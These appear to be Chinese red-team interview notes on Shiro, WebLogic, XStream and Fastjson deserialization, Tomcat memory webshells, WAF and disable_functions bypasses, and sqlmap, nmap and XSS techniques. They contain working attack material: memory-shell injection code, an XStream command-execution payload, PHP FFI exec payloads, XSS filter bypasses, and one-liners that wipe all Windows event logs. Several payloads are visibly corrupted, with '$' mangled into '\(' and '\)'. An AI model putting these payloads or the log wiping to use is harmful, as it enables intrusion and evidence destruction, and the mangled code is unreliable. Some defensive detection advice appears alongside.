就随便上传一篇护网面经

红队

反弹shell

https://zhuanlan.zhihu.com/p/138393396

https://www.anquanke.com/post/id/87017

OWASP TOP 10

https://blog.csdn.net/fly910905/article/details/120541498

https://www.cnblogs.com/zhijiya/p/15142003.html

shiro反序列化

https://www.cnblogs.com/xiaozi/p/13239046.html

shiro在路径控制的时候,未能对传入的url编码进行decode解码,导致攻击者可以绕过过滤器,访问被过滤的路径

反序列化

aes key泄露 版本<1.2.4 key都为默认key rememberMe字段,使用密钥构造一个payload最后在不断地解密后到达readobject()

访问http://127.0.0.1/admin 的时候,页面返回403。因此可以确定admin路径是属于被过滤路径。此时使用burp截断,然后在访问路径的最后添加%2f,既可绕过shiro检测。因为对于浏览器来说%2f会被自动编码为/,但是burp截断之后进入shiro,shiro未对其解码,所以可以绕过。

shiro加密先是序列化字符串 然后通过硬编码的aeskey进行加密,最后base64加密

shiro反序列化的漏洞特征:

cookie里有remenberme=deleteme

shiro721由于aes/cbc加密导致会被padding oracle攻击

shiro 注入内存马

Tomcat 获得ServletContext对象

1.在jsp文件自带的变量 落地 不隐蔽

1
2
3
4
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();

2.从Thread.currentThread()里面找

    WebappClassLoaderBase webappClassLoaderBase =(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
    StandardContext standardCtx = (StandardContext)webappClassLoaderBase.getResources().getContext();

3.从JMXMBeanServerdomainTb下面直接获取

linstener filter servlet 都会用到AbstractTranslet TemplatesImpl正好继承 因为反序列化在加载字节码执行命令之前会验证相关类是否为AbstractTranslet

Request header is too large问题解决

  • 1.改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小 而这篇文章里面也说明了,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问
  • 2.把恶意代码放在POST包的body里面
  • 缩短字节码

tomcat 8/9

linstenr 可以再

tomcat7

1
org.apache.catalina.core.ContainerBase

查杀使用打开JvisualVM(需安装MBean插件) 找到catalina/filter节点 检查是否存在我们不认识的、没有在web.xml中配置或filterClass为空的Filter

绕waf的三种方法

1.未知请求方法 首先 第一步,先构造出先绕WAF,哪怕改成不合法的数据包。第二步,在绕WAF的数据包基础上修正,让后端中间件可以解析。 适用于Filter和Listener层

2.添加脏数据

1
2
3
4
List<Object> arrayList = new ArrayList<Object>();
arrayList.add(dirtyData); // 脏数据
arrayList.add(gadget); // gadget
new ObjectOutputStream(new FileOutputStream("/tmp/bypass-waf.ser")).writeObject(arrayList);

3.通过消耗waf的性能 把Content-Length删除,分块传输不需要发送body长度,然后加上Transfer-Encoding: chunked头。

WAF一般是如下应对分块传输的。

  1. 发现数据包是分块传输,启动分块传输线程进行接收
  2. 分块传输线程不断接收客户端传来的分块,直到接收到0\r\n\r\n
  3. 将所有分块合并,并检测合并之后的内容。

weblogic

weblogic端口 7001

xmldecoder漏洞

weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

影响版本jdk1.4-jdk11

weblogic T3反序列化历史漏洞

Weblogic利用T3协议反序列化,大多数是利用类封装恶意类绕过补丁(resolveClass).

weblogic版本的探测

1
2
3
t3 10.3.6
AS: 255
HL: 19

如果没有抓到就是t3协议未启用或者做了负载均衡

CVE-2015-4852

简答---利用t3协议通信反序列化CC链

漏洞出现在WLS Security组件,允许远程攻击者执行任意命令。攻击者通过向TCP端口7001发送T3协议流量,其中包含精心构造的序列化Java对象利用此漏洞。

调用链如下

InboundMsgAbbrev.readObject() -> ... -> AnnotationInvocationHandler.readObject() -> AnnotationInvocationHandler.invoke() -> LazyMap.get() -> .... -> Runtime.exec()

CVE-2016-3510

这一次exp选择了weblogic.corba.utils.MarshalledObject进行绕过修复补丁

CVE-2017-3248

利用了JRMP Java远程方法协议。利用java.rmi.registry.Registry,序列化RemoteObjectInvocationHandler,并使用UnicastRef和远端建立tcp连接,获取RMI registry,最终将加载的内容利用readObject()进行解析,导致之前序列化的恶意代码执行

CVE-2017-3248

MarshalledObject+JRMP

Apache Commons Colletions基础漏洞修复,与CVE-2016-3510利用相同不过恶意类替换为JRMP,利用java.rmi.registry.Registry.

CVE-2018-2628

MarshalledObject+JRMP

java.rmi.registry.Registry替换为java.rmi.activation.Ac-tivator,绕过resolveProxyClass判断

CVE-2018-2893

CVE-2017-0638 + CVE-2017-3248即StreamMessageImpl中封装JRMPClient

CVE-2021-2394

是CVE-2020-14756和CVE-2020-14825的调用链相结合组成一条新的调用链来绕过weblogic黑名单列表。

xstream反序列化

XStream是Java类库,可以将对象序列化为XML格式或将XML反序列化为对象

XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc.exe</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

绕过方法

标签属性绕过

<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor serialization="custom">

custom 进行html编码

<org.springframework.aop.support.AbstractBeanFactoryPointcutAdvisor serialization="custom">

标签内容绕过

1.将标签内容html编码

ldap://xxxxx

ldap://xxxxx

2.注释绕过

ldap://xxxxx

Java主要依据函数:

ObjectOutputStream类的writeObject(Object obj)

ObjectOutputStream类的readObject(Object obj)

Bypass_disablefuntion

https://www.cnblogs.com/tr1ple/p/11213732.html

binary工具

通过攻击 PHP-FPM

使用条件

Linux 操作系统

PHP-FPM

存在可写的目录,需要上传.so文件

利用 LD_PRELOAD 环境变量

LD_PRELOAD是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库

利用 FFI 扩展执行命令

使用条件:

Linux 操作系统

PHP >= 7.4

开启了 FFI 扩展且ffi.enable=true

利用FFI调用C库的system函数

create_function&fights=&invincibly=;}\(ffi = FFI::cdef("int system(const char *command);");\)ffi->system("ls / > /tmp/res.txt");echo file_get_contents("/tmp/res.txt");/*

利用FFI调用C库的popen函数

create_function&fights=&invincibly=;}\(ffi = FFI::cdef("void *popen(char*,char*);void pclose(void*);int fgetc(void*);","libc.so.6");\)o = \(ffi->popen("ls /","r");\)d = "";while(($c = \(ffi->fgetc(\)o)) != -1){\(d .= str_pad(strval(dechex(\)c)),2,"0",0);}\(ffi->pclose(\)o);echo hex2bin($d);/*

利用FFI调用PHP源码中的函数

create_function&fights=&invincibly=;}\(ffi = FFI::cdef("int php_exec(int type, char *cmd);");\)ffi->php_exec(3,"ls /");/*

Fastjson反序列化漏洞利用原理和POC

Fastjson反序列化漏洞被利用的原因,可以归结为两方面:

Fastjson提供了反序列化功能,允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名; Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象,并自动调用该对象的setter方法及部分getter方法。

fastjson分为rmi ldap打法

不出网环境使用 bcel 或者c3p0

目前流传为三条链子

1.TemplatesImpl (常规字节码 需要开启Feature.SupportNonPublicField)

2.JdbcRowSetImpl(目标没外网的情况下无法直接利用)jdk8u191之后不可用

3.BasicDataSource(BasicDataSourcetoString()方法会遍历这个类的所有getter并执行调用到了createConnectionFactory方法,代码中存在class.forname driverclassname和driverclassloader都可以被控制 写进恶意类就可以执行其中的static{}代码) jdk8u251之后不可用

BCEL这个包中有个有趣的类com.sun.org.apache.bcel.internal.util.ClassLoader,他是一个ClassLoader,但是他重写了Java内置的ClassLoader#loadClass()方法。

ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode

fastjson探测版本号

JavaBeanDeserializer 主要有两种方法可以触发。

  • \1) 当代码使用 JSON.parseObject(json , clazz) 指定期望类的方式去解析 JSON,且 clazz 不能为 fastjson 已设定的大部分类型,如“Hashmap”、“ArrayList”
  • \2) 当使用 JSON.parse(json) 不指定期望类的时候可以通过 AutoCloseable 来触发
  • ["test":1]

java内存马

工具使用 java memshellscanner jsp页面查杀 arthas 终端运行查杀

如果是jsp注入,日志中排查可疑jsp的访问请求。

如果是代码执行漏洞,排查中间件的error.log,查看是否有可疑的报错,判断注入时间和方法

根据业务使用的组件排查是否可能存在java代码执行漏洞以及是否存在过webshell,排查框架漏洞,反序列化漏洞。

如果是servlet或者spring的controller类型,根据上报的webshell的url查找日志(日志可能被关闭,不一定有),根据url最早访问时间确定被注入时间。

如果是filter或者listener类型,可能会有较多的404但是带有参数的请求,或者大量请求不同url但带有相同的参数,或者页面并不存在但返回200

javaagent内存马总体来说就是可以使用 Instrumentation 提供的 retransform 或 redefine 来动态修改 JVM 中 class 的一种字节码增强技术,可以直接理解为,这是 JVM 层面的一个拦截器。

javaagent 有两种方法 premain()和agentmain() premain()在jdk1.5之后被引入 agentmain在jdk1.6之后被引入 区别在于 premain()要在项目启动之前使用 agentmain()可以在运行的时候载入

javaagent内存马查杀 jvm提供的sa-jdi.jar JVM 监控工具的api tools-class broswer查看被修改的类 通过retransformClass方法重新定义类 查杀工具copagent

jndi高版本注入

jndi8u191之后 由于tomcat8下带了个el包 所以可以调用来进行命令执行 同时这个方法也被用于c3p0中 成为了第四条链子

如何查看区分是扫描流量和手动流量

扫描器ua有特征

cobaltstrike马特征

看ip端口 50050 看文件的证书 fofa上搜

红队打点图

清除日志

wevtutil+for循环清除所有日志 #

for /F "tokens=*" %a in ('wevtutil.exe el') DO wevtutil.exe cl "%a"+

ps批量删除日志

PS C:> wevtutil el | Foreach-Object {Write-Host "Clearing \(_"; wevtutil cl "\)_"}

域内主机端口探测

nc -vv ip fscan -h 192.168.7.7 -p 22,445

主机存活探测

ping

使用 ping 进行检测的优点是不容易触发检测规则,缺点是速度较慢,如果目标开启了禁止 ping 的策略,那这个方法就 gg 了。

Windows #

for /l %i in (1,1,255) do @ping 192.168.7.%i -w 1 -n 1|find /i "ttl="

C:>for /l %i in (1,1,255) do @ping 192.168.7.%i -w 1 -n 1|find /i "ttl=" 来自 192.168.7.7 的回复: 字节=32 时间<1ms TTL=128 来自 192.168.7.107 的回复: 字节=32 时间=1ms TTL=64 来自 192.168.7.110 的回复: 字节=32 时间<1ms TTL=128

LINUX

for k in \(( seq 1 255);do ping -c 1 192.168.7.\)k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

teamssix@localhost:~# for k in \(( seq 1 255);do ping -c 1 192.168.7.\)k|grep "ttl"|awk -F "[ :]+" '{print $4}'; done

使用工具

sqlmap

1
2
-v    #共7个级别(0~6),默认为1
#可以用 -vv 代替 -v 2,推荐使用这种方法
  • 0:只输出 Python 出错回溯信息,错误和关键信息

  • 1:增加输出普通信息和警告信息

  • 2:增加输出调试信息

  • 3:增加输出已注入的 payloads

  • 4:增加输出 HTTP 请求

  • 5:增加输出 HTTP 响应头

  • 6:增加输出 HTTP 响应内容

    1
    2
    3
    4
    -u URL
    -l #从Burp代理日志文件中解析目标地址
    -m #从文本文件中批量获取目标
    -r #从文件中读取 HTTP 请求
1
2
3
4
5
6
7
-p TESTPARAMETER    #指定需要测试的参数
--skip=SKIP #指定要跳过的参数
--dbms=DBMS #指定 DBMS 类型(例如:MySQL)
--os=OS #指定 DBMS 服务器的操作系统类型
--prefix=PREFIX #注入 payload 的前缀字符串
--suffix=SUFFIX #注入 payload 的后缀字符串
--tamper=TAMPER #用给定脚本修改注入数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
-a, --all          #获取所有信息、数据
-b, --banner #获取 DBMS banner,返回数据库的版本号
--current-user #获取 DBMS 当前用户
--current-db #获取 DBMS 当前数据库
--hostname #获取 DBMS 服务器的主机名
--is-dba #探测 DBMS 当前用户是否为 DBA(数据库管理员)
--users #枚举出 DBMS 所有用户
--passwords #枚举出 DBMS 所有用户的密码哈希
--privileges #枚举出 DBMS 所有用户特权级
--roles #枚举出 DBMS 所有用户角色

--dbs #枚举出 DBMS 所有数据库
--tables #枚举出 DBMS 数据库中的所有表
--columns #枚举出 DBMS 表中的所有列
--schema #枚举出 DBMS 所有模式
--count #获取数据表数目
--dump #导出 DBMS 数据库表项
--stop 10 #只取前10行数据

-D DB #指定要枚举的 DBMS 数据库
-T TBL #指定要枚举的 DBMS 数据表
-C COL #指定要枚举的 DBMS 数据列
使用实例
--os-shell

udf提权

nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
nmap -T4 -A -v -Pn IP    
#最常用的一种扫描

-T4 #设置时序,越高扫描越快
-A #启用操作系统检测,版本检测,脚本扫描和跟踪路由
-v #增加详细级别(使用-vv或更高级别以获得更好的效果)
-Pn #无ping扫描
#Scan Types 指探测类型:
-PS 指 TCP SYN Ping,
-PA 指 TCP ACK Ping,
-PU 指 UDP Ping
-PE
#ICMP Ping,现在很多主机封锁这些报文,适用于管理员监视内部网络

#Options 指探测选项:
-n 指不对活动的 IP 地址进行反向域名解析,用以提高扫描速度
-R 指对活动的 IP 进行反向域名解析

#target specification 指探测的目标地址或 IP 地址范围
192.168.0.1-255
nmap -sP 192.168.0.1-255 #ping扫描,只列出存活主机,速度最快
nmap -Pn 192.168.0.1-255 #无ping扫描,结果和默认主机发现一样
open(开放的)

应用程序正在该端口接收TCP 连接或者UDP报文。

closed(关闭的)

关闭的端口对于Nmap也是可访问的(它接受Nmap的探测报文并作出响应), 但没有应用程序在其上监听。

filtered(被过滤的)

由于包过滤阻止探测报文到达端口, Nmap无法确定该端口是否开放。

过滤可能来自专业的防火墙设备,路由器规则 或者主机上的软件防火墙。

unfiltered(未被过滤的)

未被过滤状态意味着端口可访问,但Nmap不能确定它是开放还是关闭。

只有用于映射防火墙规则集的ACK扫描才会把端口分类到这种状态。

用其它类型的扫描如窗口扫描,SYN扫描,或者FIN扫描来扫描未被过滤的端口可以帮助确定 端口是否开放。

open|filtered(开放或者被过滤的)

当无法确定端口是开放还是被过滤的,Nmap就把该端口划分成 这种状态。

开放的端口不响应就是一个例子。没有响应也可能意味着报文过滤器丢弃 了探测报文或者它引发的任何响应。

因此Nmap无法确定该端口是开放的还是被过滤的。 UDP,IP协议, FIN,Null,和Xmas扫描可能把端口归入此类。

closed|filtered(关闭或者被过滤的)

该状态用于Nmap不能确定端口是关闭的还是被过滤的。 它只可能出现在IPID Idle扫描中

XSS

可能触发DOM型XSS的属性

document.referer属性、window.name属性、location属性、innerHTML属性、documen.write属性

绕过方式

Unicode转义

1
<script>a\u006cert(1)</script>

1

如果能够使用eval命令,就能够将其它命令以字符串的格式传送给eval,从而执行其它 命令。

1
<script>eval('a\u006cert(1)');</script>

替代圆点

1
2
<script>alert(document['cookie'])</script>
<script>with(document)alert(cookie)</script>

通用防御:

(1) 特殊字符HTML实体转码。最好的过滤方式是在输出和二次调用的时候进行加HTML实体一类的转码,防止脚本注入。

(2) 标签事件属性黑名单。特殊字符容易被绕过,所以还得加标签事件得黑名单或者白名单,这里推荐使用白名单的方式,实现规则可以直接使用正则表达式来匹配,如果匹配到的事件不在白名单列表,就可以直接拦截,而不是过滤为空

httponly情况下绕过

1.phpinfo 页面$_SERVER[“HTTP_COOKIE”]会打印出具有httponly属性的cookies 2.iframe钓鱼这一类 3.跳转钓鱼 4.通过js伪造一个登录表单,有的浏览器保存密码会自动填入 5.通过xss获取后端页面源码,有时候可以发现一些越权访问,或者配合CSRF打组合拳去添加新用户或者执行其他的功能,以及通过审计后台js发现一些漏洞 6.通过xss伪造oauth等搞一个oauth劫持

1.如果csp头有 unsafe-inline 可以利用页面预加载,比如<linkrel='prefetch'href='![](file:///C:%W@GJ$ACOF(TYDYECOKVDYB.png)http://xxxx/x.jpg'> 2.利用url跳转可以回避严格的CSP 3.利用上传文件,比如csp禁⽌跨站读取脚本,但是可以跨站读img,那么传⼀个 含有脚本的img,再